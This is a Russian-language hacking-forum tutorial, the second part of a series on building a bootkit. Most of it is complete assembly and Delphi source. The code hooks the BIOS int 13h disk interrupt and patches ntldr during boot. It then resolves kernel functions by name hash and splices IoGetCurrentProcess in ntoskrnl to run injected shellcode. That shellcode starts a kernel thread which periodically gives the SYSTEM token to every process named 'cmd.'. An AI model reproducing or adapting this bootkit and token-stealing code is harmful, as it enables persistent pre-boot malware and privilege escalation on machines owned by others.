Пошаговое создание своего Bootkit'a [ЧАСТЬ 2]

Status
Not open for further replies.

Tipper

Member
Joined
Feb 11, 2018
Messages
625
Reaction score
244
Age
32
Вот и подошла заключительная часть нашего цикла о буткитах. Настало время наделить наш буткит сверхъестественной способностью — повысить привилегии. Если вы не читали предыдущую статью, то вот она: https://hhide.su/threads/Пошаговое-создание-своего-bootkita-ЧАСТЬ-1.16220/#post-98511


  • Думаю, не стоит объяснять, что это всего лишь малая демонстрационная часть буткита. На самом деле, святая обязанность буткита подготовить среду для руткита и загрузить его при старте системы. Всё остальное должен делать уже сам руткит. Но в нашем случае, мы не будем писать руткит, а запустим поток в режиме ядра, который каждые 30 секунд будет пробегать кольцевой список структур _EPROCESS и просматривать первые буквы поля ImageFileName. Если первые буквы имени процесса будут ‘cmd.’, то мы повысим ему привилегии до уровня системы.


План действий
На данном этапе очень важно подготовить почву для работы нашего шелкода. Наш шелкод должен работать в ядре ОС, поэтому мы должны будем каким-то образом оказаться в его контексте. Чтобы это сделать, можно просплайсить какую-нибудь функцию модуля ntoskrnl, которая вызывается при старте ОСи.

Вместо вызова этой функции, мы сначала запустим шелкод, а затем восстановим и вызовем её. Я выбрал IoGetCurrentProcess. Тут есть два подводных камня. Во-первых, чтобы установить перехват на функцию ядра, нужно получить базовый адрес загрузки ядра. Во-вторых, чтобы шелкод запустить, нам сначала нужно разместить его в памяти. Причём память должна быть доступна в контексте ядра. Поэтому мы не можем сделать переход на зарезервированную память этапом ранее. Да даже если и могли бы, то не вышло бы, так как память-то физическая, а нам нужна виртуальная. Чтобы отобразить физическую память можно заюзать функцию MmMapIoSpace. Но сейчас мы этого сделать не можем, так как ядро системы-то ещё не развёрнуто!

  • Что же делать?
По первому пункту решение заключается в том, что у функции _BlOsLoader есть одна замечательная локальная переменная — kdDllBase. В ней хранится базовый адрес загрузки ядра. Так что мы просто просканируем память, где загружен NTLDR на её сигнатурку, а как найдём, то сразу же получим ImageBase ядра. Адрес загрузки NtLdr извлекается по фиксированному смещению — esp + 24h. Итак, получаем адрес загрузки ntldr, ищем в памяти переменную kdDllBase и читаем её. Так мы получим адрес загрузки ntoskrnl и сможем просплайсить функцию. Вся эта информация добывается реверсом ntldr.

По поводу второго пункта: чтобы оказаться в контексте ядра, проще всего записать свой код в виртуальную память, загрузки образа ядра. Тут возникает вопрос, куда бы можно было бы внедрить свой код? Ну так давайте откроем ntoskrnl.exe в HIEW и поищем! В этом файле очень много всяких строк.

Вы думаете о том же что и я? Лично нас эти строки не особо волнуют. А вот мысль, что вместо них будет располагаться наш шелкод очень даже волнует наши сердца. Поиск этого места будет осуществляться по подстроке «_PEN». Нужно проверить, чтобы эти строки располагались в секции с правами на чтение запись и исполнение. Также неплохо бы убедиться в том, что «_PEN» находится только в строках. Всё это так, так что двигаемся дальше. У нас есть способ получения адреса загрузки ядра, мы знаем где разместим наш шелкод. Осталось только две детали — получение адресов нужных нам функций и передача некоторых данных. Например, адрес загрузки ядра нам будет нужен в шелкоде. Адреса функций тоже. Нужно найти местечко в памяти, которое будет находится в контексте ядра ОС и туда записать. Опять на помощь нам приходит модуль ntoskrnl.exe. Мы будем сохранять всю эту информацию в DOS заголовке, вместо строки «This program cannot be run in DOS mode». Ввиду того, что после DOS Stub идёт выравнивание нулями, то у нас есть около сотни байт в своём распоряжении. Самое классное, что мы можем спокойно туда писать и читать.



Получение адреса функции по хешу от её имени
Данная техника всегда используется в работе шелкодов. Также её иногда использую для того, чтобы скрыть из строк названия функций. Сами посудите, когда открываешь для анализа неизвестный бинарь и видишь там экспорты таких функций, как InternetOpenUrl, InternetReadFile, WinExec, то сразу становится понятно, что, скорее всего, мы имеем дело с даунлоадером. Если использовать получение адресов нужных функций по хешу от имени, то строк не будет. Ещё одно преимущество — экономия места. Размер хеша у нас 4 байта. Самый распространённый алгоритм хеширования — результат ror 0x0D + код символа. Хотя некоторые типы используют для такой цели CRC32. Прежде чем приступить к кодингу буткита, нам нужно закодить тулзу, которая будет нам ещё не раз пригождаться. Тулза будет нам получать список всех имён экспортируемых функций заданного бинарника и их хешей. Вот основной код данной программки:

1f27feb91712ef6fcf40a.jpg


Code:
function getHashFromName(funcName: String): DWORD;
Var hesh: DWORD;
    i: Integer;
begin
   hesh := 0;
   for i := 1 to Length(funcName) do
   begin
     asm
       mov eax, hesh
       ror eax, $d
       mov hesh, eax
     end;
     hesh := hesh + byte(funcName[i]);
   end;
   Result := hesh;
end;

procedure TFuncHasher.Button1Click(Sender: TObject);
Var name, hesh, str: string;
begin
    LIB_NAME:=edtDll.Text;
    loadlibraryA(PAnsiChar(LIB_NAME));
   ImageBase := GetModuleHandleA(PAnsiChar(LIB_NAME));
   pNtHeaders := Pointer(ImageBase + DWORD(PImageDosHeader(ImageBase)^._lfanew));
   ExportAddr := pNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
   IED := PImageExportDirectory(ImageBase+ExportAddr.VirtualAddress);
   NamesCursor := Pointer(ImageBase + DWORD(IED^.AddressOfNames));
   OrdinalCursor := Pointer(ImageBase + DWORD(IED^.AddressOfNameOrdinals));
    memo1.Lines.Clear;
   For I:=0 to Integer(IED^.NumberOfNames-1) do
    begin
      name := pChar(ImageBase + PDWORD(NamesCursor)^);
      hesh := IntToHex(getHashFromName(name), 8);
      str := (name + ' : 0x' + hesh);     
      memo1.Lines.Add(str);
     Inc(NamesCursor);
     Inc(OrdinalCursor);
      Application.ProcessMessages;
   end;
end;

Вот что мне нагенерила утилита:

1e2dd992223d998866fd3.png

Теперь, можно приступить к кодингу, а именно к кодингу процедуры, которая по хешу даст нам адрес функции. Для этого нам нужно распарсить PE заголовок, из него вытащить адрес таблицы имён функций, ординалов и адресов функций. Мы будем хешировать каждую функцию и проверять полученных хеш с искомым. Если хеши совпали, то мы нашли функцию. Дальше берём порядковый номер этой функции и читаем ординал по такому же индексу. Полученное число — индекс в таблице адресов. Читаем адрес по такому индексу и дело в шляпе.

Вобщем всё как обычно. На ассемблере это будет выглядеть так:

Code:
;IN edi - hash the required function
;IN esi - base address of PE module
;OUT eax - address the required function or NULL
GetFunctionByHash:
 nop
 push ebp
 mov ebp, esi
 mov eax, [ebp + 0x3c]; //PEheader
 mov edx, [ebp + eax + 0x78]; //export table
 add edx, ebp;
 mov ecx, [edx + 0x18]; //numberOfNames
 mov ebx, [edx + 0x20]; //numberOfExports
 add ebx, ebp;
search_loop:
 jecxz noHash;
 dec ecx; //decrement numberOfNames
 mov esi, [ebx + ecx * 4]; //get an export name
 add esi, ebp;
 push ecx;
 push ebx;
 push edi;
 push esi; //setup stack frame and save clobber registers
 call hashString;
 pop esi;
 pop edi;
 pop ebx;
 pop ecx; //restore clobber registers
 cmp eax, edi; //check if hash matched
 jnz search_loop;
 mov ebx, [edx + 0x24]; //get address of the ordinals
 add ebx, ebp;
 mov cx, [ebx + 2 * ecx]; //current ordinal number
 mov ebx, [edx + 0x1c]; //extract the address table offset
 add ebx, ebp;
 mov eax, [ebx + 4 * ecx]; //address of function
 add eax, ebp;
 jmp done;
noHash:
 mov eax, 0;
done:
 pop ebp
 ret

hashString:
 xor edi, edi;
 xor eax, eax;
 cld;
continueHashing:
 lodsb;
 test al, al
 jz hash_done;
 ror edi, 0xd;
 add edi, eax;
 jmp continueHashing;
hash_done:
 mov eax, edi;
 ret

  • лось определиться какие функции понадобятся нашему шелкоду, получить их адреса и сохранить в DOS заголовке образа ядра.
Наш шелкод будет повышать привилегии. Тут мы работаем с Windows XP, поэтому единственное, что пришлось поправить — смещения до нужных нам полей. Эти смещения можно достать из отладчика ядра. Из основных рабочих функций нам нужны две: PsCreateSystemThread и KeDelayExecutionThread. Первая функция создаст нам поток. В потоке будет крутиться бесконечный цикл, в котором будет пробегаться кольцевой список из структур _EPROCESS. Функция KeDelayExecutionThread — аналог функции Sleep в пользовательском режиме. Итак, шелкод собственной персоной:


Code:
shellcode:
start_shell_code EQU $
 push ebx
 push ecx
 push edx
 push ebp
 push edi
 push esi
 pushfd
 call shell_entry
 kernelBase dd 0

shell_entry:
 pop eax
 
 mov ebp, dword [eax] ;ebp - адрес ядра
 mov esi, ebp
 add esi, IoGetCurrentProcess_date
 
 mov edi, ebp
 add edi, IoGetCurrentProcess
 mov edi, [edi]
 
 mov al, byte [esi] ;восстанивливаю оригинальную функцию
 mov byte [edi], al
 mov eax, dword [esi+1]
 mov dword [edi+1], eax

 mov eax, [ebp + IoGetCurrentProcess]
 call eax
 push eax
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;THREAD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 
 mov dword [ebp + Delaytime + 0], 0xFD050F80
 mov dword [ebp + Delaytime + 4], 0xffffffff
 mov ebx, [ebp + _PEN_ADDR] ;ebx - shellcode addr
 push ebx
 pop eax ;eax - shellcode addr
 mov esi, [ebp + PsCreateSystemThread]
 push ebp
 push dword 0 ;StartContext _IN_OPT
 add eax, THREAD - shellcode
 ;db 0xcc
 push eax ;StartRoutine
 push dword 0 ;ClientId _OUT_OPT
 push dword 0 ;ProcessHandle _IN_OPT
 push dword 0 ;ObjectAttributes
 push dword 0 ;THREAD_ALL_ACCESS
 mov eax, ebp
 add eax, THREAD_HANDLE
 push eax ;ThreadHandle
 call esi ;PsCreateSystemThread(THREAD_HANDLE,,,,,,THREAD,)
 pop ebp
 jmp exit_hook
THREAD:
 pushad
 ;db 0xcc
 call $+5
 @@addr:
 pop eax
 add eax, krnlBase - @@addr
 mov ebp, [eax]
 xor eax, eax
 @@sleep:
 push eax
 mov ebx, ebp
 add ebx, Delaytime
 push ebx ;pointer to delay time
 push dword 0 ;Not Alertable
 push dword 0 ;WaitMode - KernelMode
 mov esi, [ebp + KeDelayExecutionThread]
 call esi
 pop eax
 inc eax
 cmp eax, 6 ;30 секунд
 jnz @@sleep
 
 mov eax, [fs:KTHREAD_OFFSET]
 mov eax, [eax + ThreadsProcess]

 mov ecx, eax; Copy current _EPROCESS structure

 mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
 mov edx, SYSTEM_PID;
 
 mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
 mov esi, eax
 
 ;db 0xcc
 SearchCMD:
 mov ecx, eax
 mov edi, [eax + ImageFileName]
 mov eax, [eax + FLINK_OFFSET] ;ebx - Next _EPROCESS
 sub eax, FLINK_OFFSET
 cmp eax, esi
 jz Stop
 cmp edi, 0x2e646d63 ;'.dmc'
 jz SetToken
 jmp SearchCMD
 SetToken:
 ;db 0xcc
 mov[ecx + TOKEN_OFFSET], edx
 jmp SearchCMD
 Stop:
 popad
 jmp THREAD
 krnlBase dd 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;THREAD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
exit_hook:
 pop eax
 popfd
 pop esi
 pop edi
 pop ebp
 pop edx
 pop ecx
 pop ebx
 ret
end_shell_code EQU $

Для работы шелкода, единственное, что требуется знать, так это адрес загрузки ядра. Снова его получать как-то не то и не сё. Поэтому, применяется техника самомодифицирующегося кода — полученный адрес вставляется в кусок кода. Это сработает только до перехода в защищённый режим. Так как в защищённом режиме писать в секцию кода нельзя. Поэтому мы своевременно сохраним адрес загрузки ядра в переменную krnlBase. Она нам пригодятся, когда шелкод получит управление. А получит он управление, как вызовется в первый раз системой функция IoGetCurrentProcess. В шелкоде следует первым делом восстановить первые 5 байт перехваченной функции и вызвать её. Далее мы запускаем в потоке бесконечный цикл.

Кстати, первые 5 байт функции также хранятся в DOS заголовке. Нашим постоянным спутником является небольшая проблема, которая иногда даже раздражает. Нам постоянно приходится пересчитывать адреса до нужных мест. Это связано с тем, что и код-то мы перемещаем то туда, то сюда. Но это решается техникой получения своего адреса — call $+5, pop eax. В eax будет находится адрес инструкции pop eax. Дальше уже просто прибавляем смещение до нужного места.



Вот, в принципе и всё! А вот и полный код:

Code:
START:
 mov ax, 3
 int 10h
 mov ax, 0b800h
 mov es, ax
 mov word [es:0],261h
 mov word [es:2],261h
 mov word [es:4],261h
 xor ax, ax
 int 16h
 
 cli
 xor ax, ax
 mov ds, ax
 mov sp, 0FFFFh
 sub word [413h], 2h
 mov ax, [ds:413h]
 sti
 cld
 shl ax, 6
 mov es, ax
 xor di, di
 mov si, 7c00h
 mov cx, 200h
 rep movsb
 
 mov bx, di
 mov ah, 2
 mov al, 2 ;2 сектора
 mov cx, 2 ;читаю 2 сектор
 mov dx, 0 ;диск А
 int 13h

 push es
 push @@read_orig
 retf
;;;;;;;;ISR of int13h;;;;;;;;;;;
@@Interapt:
 cmp ah, 2h
 jz @@execute
 cmp ah, 42h
 jz @@execute
 db 0EAh
 dw 0000, 0000
 Int_13 EQU $-4
@@execute:
 mov [cs:int13hFunc], ah
 pushf ;orig int13h съест сохранённый регистр флагов из стека + cs и ip
 call far [cs: Int_13]
 jc @@int13h_ret
 
 pushf
 cli
 push es
 pusha
 mov ah, 00h
int13hFunc EQU $-1
 cmp ah, 42h
 jnz @@int13h_f2
 ;;;Disck Address packet
 ;;;offset range size description
 ;;;00h 1 byte size of DAP = 16 = 10h
 ;;;01h 1 byte unused, should be zero
 ;;;02h..03h 2 bytes number of sectors to be read, (some Phoenix BIOSes are limited to a maximum of 127 sectors)
 ;;;04h..07h 4 bytes segment:offset pointer to the memory buffer to which sectors will be transferred (note that x86 is little-endian: if declaring the segment and offset separately, the offset must be declared before the segment)
 ;;;08h..0Fh 8 bytes absolute number of the start of the sectors to be read (1st sector of drive has number 0)
 lodsw
 lodsw ;ax = number of sectors to be read
 les bx, [si]
@@int13h_f2:
 test al, al
 jle @@ExitInt_13
 ;al=колличество секторов для чтения
 ;ax:=ax*2^9=ax*512b
 ;es:bx - прочитанные данные
 movzx cx, al
 shl cx, 9
 mov di, bx
 mov al, 8Bh
 cld
@@Search_8B:
 repne scasb
 jnz @@ExitInt_13 ;не найден байтик
 
 ;нашли 8b,ищем 74f685f0h
 ;8B F0 85 F6 74 21 80 3D
 cmp dword [es:di], 74F685F0h
 jnz @@Search_8B
 
 cmp byte [es:di+4], 21h
 jnz @@Search_8B
 
 cmp word [es:di+5], 3D80h
 jnz @@Search_8B
 
 ;Если мы тут, значит нашли место в ntldr: seg000:00026C8C
 ;ntldr
 ;00026C8C: 8BF0 mov si,ax
 ;00026C8E: 85F6 test si,si
 ;00026C90: 7421 jz 000026CB3 -- 1
 ;00026C92: 803D10 cmp b,[di],010
 ;xchg bx, bx
 mov word [es:di-1], 15ffh
 mov eax, cs
 shl eax, 4 ;физический адрес своего сегмента
 add eax, StartCODE32
 mov [cs:dword_E5], eax
 mov [cs:MyCode32Addr], eax
 sub eax, 4
 mov [es:di+1], eax
 
 ;mov dword ptr es:[di-1], 0F685f08bh ; восстанавливаю сигнатуру
 ;mov dword ptr es:[di+3], 03D802174h
@@ExitInt_13:
 popa
 pop es
 popf
@@int13h_ret:
 iret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
@@read_orig:
 xor ax, ax
 mov es, ax
 mov dx, es
 mov bx, 7c00h
 mov ah, 2
 mov al, 2 ;2 сектора
 mov cx, 1 ;mbr
 mov dx, 80h
 int 13h
 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; HOOKED INTERUPT INT13h;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;HOOKED INTERUPT INT13h ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 cli
 mov ax, [4Eh] ;segment
 mov [cs:Int_13+2],ax

 mov ax, [4Ch] ;offset
 mov [cs:Int_13],ax
 
 mov word [4eh], cs
 mov ax, @@Interapt
 mov word [4Ch], ax
 sti
@@boot:
 push 0
 push 7c00h
 retf
 times 510-($ - $$) db 0
 db 55h, 0AAh
dword_E5 dd 0

use32
StartCODE32:

 pushfd
 pushad

 
 NtoskrnlBase EQU 0x40 ;относительно Dos Header, вместо stub.
 ExAcquireFastMutexUnsafe EQU 0x44
 IoGetCurrentProcess EQU 0x48
 IoGetCurrentProcess_date EQU 0x4C
 _PEN_ADDR EQU 0x51 ;IoGetCurrentProcess_date занимает 5 байт
 THREAD_HANDLE EQU 0x55
 Delaytime EQU 0x59
 PsCreateSystemThread EQU 0x61
 KeDelayExecutionThread EQU 0x65
 
 mov edi, [esp+24h]
 and edi, 0xfff00000
 ;search kddllBase
 cld
 mov al, 0xC7 ;_BlLoaderBlock
 ;C7 46 34 00 40
@@Search_C7:
 scasb
 jnz @@Search_C7
 cmp dword [edi], 40003446h
 jnz @@Search_C7
 
 mov al, 0A1h
@@Search_A1:
 scasb
 jnz @@Search_A1
 
 mov esi, [edi]
 mov esi, [esi] ;points to base of loader table
 
 mov esi,[esi] ;points to first entry it's Ntoskrnl.exe
 mov edx,[esi] ;points to second entry ,it's hal.dll
 
 add esi, 24 ; to obtain pointer to ntoskrnls, base address,it 24 bytes from it's entry
 mov eax, [esi]

 mov dword [eax + NtoskrnlBase], eax
 mov ebp, eax
 mov word [eax + 2], 0x7897
 
 mov edi, 0x94A06B12 ; hash for PsCreateSystemThread
 mov esi, ebp
 call GetFunctionByHash
 mov dword [ebp + PsCreateSystemThread], eax

 mov edi, 0x58586D92 ; hash for KeDelayExecutionThread
 mov esi, ebp
 call GetFunctionByHash
 mov dword [ebp + KeDelayExecutionThread], eax
 
 ; FUNCTION INTERCEPT
 mov edi, 0x9DCF1B5E  ; hash for IoGetCurrentProcess
 mov esi, ebp
 call GetFunctionByHash
 mov dword [ebp + IoGetCurrentProcess], eax
 
 mov ecx, 5
 mov esi, eax
 mov edi, ebp
 add edi, IoGetCurrentProcess_date
 rep movsb
 
 ;Find Free Space
 mov esi, ebp
 call findpend
 mov dword [ebp + _PEN_ADDR], eax
 
 ;COPY SHELLCODE TO NTOSkrnl Free Spase
 mov ecx, end_shell_code - start_shell_code
 ;получить адрес шелкода и скопировать его в свободное место
 add esi, shellcode
 mov edi, eax
 ;rep movsb
 call @@label
@@label:
 pop eax
 
 mov ebx, eax
 add ebx, krnlBase - @@label
 mov dword [ebx], ebp
 
 mov ebx, eax
 add ebx, kernelBase - @@label
 mov dword [ebx], ebp
 
 mov ecx, end_shell_code - start_shell_code
 mov edi, ebp
 add edi, _PEN_ADDR
 mov edi, [edi]
 push edi
 
 mov esi, eax
 add esi, shellcode - @@label
 rep movsb
 
 
 mov esi, [ebp + IoGetCurrentProcess]
 mov byte [esi], 0xE9 ;просплайсим на свободное место на JMP NEAR xxxx
 
 pop edi ;edi - адрес шелкода
 sub edi, esi
 sub edi, 5 ;edi - растояние до шела
 
 mov dword [esi+1], edi ;адрес шелкода
 
 mov eax, dword [ebp + IoGetCurrentProcess]
 mov dword [eax-4], ebp
 
 popad
 popfd

 
 mov esi, eax
 test eax, eax
 jnz short Path_Done
 pushfd
 add dword [esp+4], 21h
 popfd

Path_Done:
 ret
 
MyCode32Addr dd 0

shellcode:
start_shell_code EQU $
 push ebx
 push ecx
 push edx
 push ebp
 push edi
 push esi
 pushfd
 call shell_entry
 kernelBase dd 0

shell_entry:
 pop eax
 
 mov ebp, dword [eax] ;ebp - адрес ядра
 mov esi, ebp
 add esi, IoGetCurrentProcess_date
 
 mov edi, ebp
 add edi, IoGetCurrentProcess
 mov edi, [edi]
 
 mov al, byte [esi] ;восстанивливаю оригинальную функцию
 mov byte [edi], al
 mov eax, dword [esi+1]
 mov dword [edi+1], eax

 mov eax, [ebp + IoGetCurrentProcess]
 call eax
 push eax
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;THREAD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 
 mov dword [ebp + Delaytime + 0], 0xFD050F80
 mov dword [ebp + Delaytime + 4], 0xffffffff
 mov ebx, [ebp + _PEN_ADDR] ;ebx - shellcode addr
 push ebx
 pop eax ;eax - shellcode addr
 mov esi, [ebp + PsCreateSystemThread]
 push ebp
 push dword 0 ;StartContext _IN_OPT
 add eax, THREAD - shellcode
 ;db 0xcc
 push eax ;StartRoutine
 push dword 0 ;ClientId _OUT_OPT
 push dword 0 ;ProcessHandle _IN_OPT
 push dword 0 ;ObjectAttributes
 push dword 0 ;THREAD_ALL_ACCESS
 mov eax, ebp
 add eax, THREAD_HANDLE
 push eax ;ThreadHandle
 call esi ;PsCreateSystemThread(THREAD_HANDLE,,,,,,THREAD,)
 pop ebp
 jmp exit_hook
THREAD:
 pushad
 ;db 0xcc
 call $+5
 @@addr:
 pop eax
 add eax, krnlBase - @@addr
 mov ebp, [eax]
 xor eax, eax
 @@sleep:
 push eax
 mov ebx, ebp
 add ebx, Delaytime
 push ebx ;pointer to delay time
 push dword 0 ;Not Alertable
 push dword 0 ;WaitMode - KernelMode
 mov esi, [ebp + KeDelayExecutionThread]
 call esi
 pop eax
 inc eax
 cmp eax, 6 ;30 секунд
 jnz @@sleep
 
 mov eax, [fs:KTHREAD_OFFSET]
 mov eax, [eax + ThreadsProcess]

 mov ecx, eax; Copy current _EPROCESS structure

 mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
 mov edx, SYSTEM_PID;
 
 mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
 mov esi, eax
 
 ;db 0xcc
 SearchCMD:
 mov ecx, eax
 mov edi, [eax + ImageFileName]
 mov eax, [eax + FLINK_OFFSET] ;ebx - Next _EPROCESS
 sub eax, FLINK_OFFSET
 cmp eax, esi
 jz Stop
 cmp edi, 0x2e646d63 ;'.dmc'
 jz SetToken
 jmp SearchCMD
 SetToken:
 ;db 0xcc
 mov[ecx + TOKEN_OFFSET], edx
 jmp SearchCMD
 Stop:
 popad
 jmp THREAD
 krnlBase dd 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;THREAD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
exit_hook:
 pop eax
 popfd
 pop esi
 pop edi
 pop ebp
 pop edx
 pop ecx
 pop ebx
 ret
end_shell_code EQU $

;IN edi - hash the required function
;IN esi - base address of PE module
;OUT eax - address the required function or NULL
GetFunctionByHash:
 nop
 push ebp
 mov ebp, esi
 mov eax, [ebp + 0x3c]; //PEheader
 mov edx, [ebp + eax + 0x78]; //export table
 add edx, ebp;
 mov ecx, [edx + 0x18]; //numberOfNames
 mov ebx, [edx + 0x20]; //numberOfExports
 add ebx, ebp;
search_loop:
 jecxz noHash;
 dec ecx; //decrement numberOfNames
 mov esi, [ebx + ecx * 4]; //get an export name
 add esi, ebp;
 push ecx;
 push ebx;
 push edi;
 push esi; //setup stack frame and save clobber registers
 call hashString;
 pop esi;
 pop edi;
 pop ebx;
 pop ecx; //restore clobber registers
 cmp eax, edi; //check if hash matched
 jnz search_loop;
 mov ebx, [edx + 0x24]; //get address of the ordinals
 add ebx, ebp;
 mov cx, [ebx + 2 * ecx]; //current ordinal number
 mov ebx, [edx + 0x1c]; //extract the address table offset
 add ebx, ebp;
 mov eax, [ebx + 4 * ecx]; //address of function
 add eax, ebp;
 jmp done;
noHash:
 mov eax, 0;
done:
 pop ebp
 ret

hashString:
 xor edi, edi;
 xor eax, eax;
 cld;
continueHashing:
 lodsb;
 test al, al
 jz hash_done;
 ror edi, 0xd;
 add edi, eax;
 jmp continueHashing;
hash_done:
 mov eax, edi;
 ret

;Finde Free Space in NTOSkrnl
;IN esi - NTOSkrnl base address
;OUT - eax
findpend:
 ;below function searches memory for 5f 50 45 4e for _PEN,this location is used to store code in NTOSkrnl;
 xor eax, eax
 mov edi, esi ;copy kernel base to scan
searchagain:
 cmp dword [edi], 0x45505f53 ;
 jne contpend
 mov eax, edi
 ret
contpend:
 inc edi
 jmp searchagain
overpend:
 ret
 
 times 1534-($ - $$) db 0
 db 55h, 0AAh
 
KTHREAD_OFFSET EQU 0x124
ThreadsProcess EQU 0x220 ;// ThreadsProcess : 0x825c8830
PID_OFFSET EQU 0x084 ;// nt!_EPROCESS.UniqueProcessId
FLINK_OFFSET EQU 0x088 ;// nt!_EPROCESS.ActiveProcessLinks.Flink
TOKEN_OFFSET EQU 0x0C8 ;// nt!_EPROCESS.Token
SYSTEM_PID EQU 0x004 ;// SYSTEM Process PID
ImageFileName EQU 0x174 ;// process name

Заключение
Таким образом мы запустили в потоке бесконечный цикл, который каждые 30 секунд повышает привилегии до системных всем процессам, чьи имена начинаются с подстроки ‘cmd.’. Самое интересное то, что мы запустились ещё до загрузки системы и контролировали её ход, периодически его модифицируя. Буткит создан!
 
Status
Not open for further replies.
Top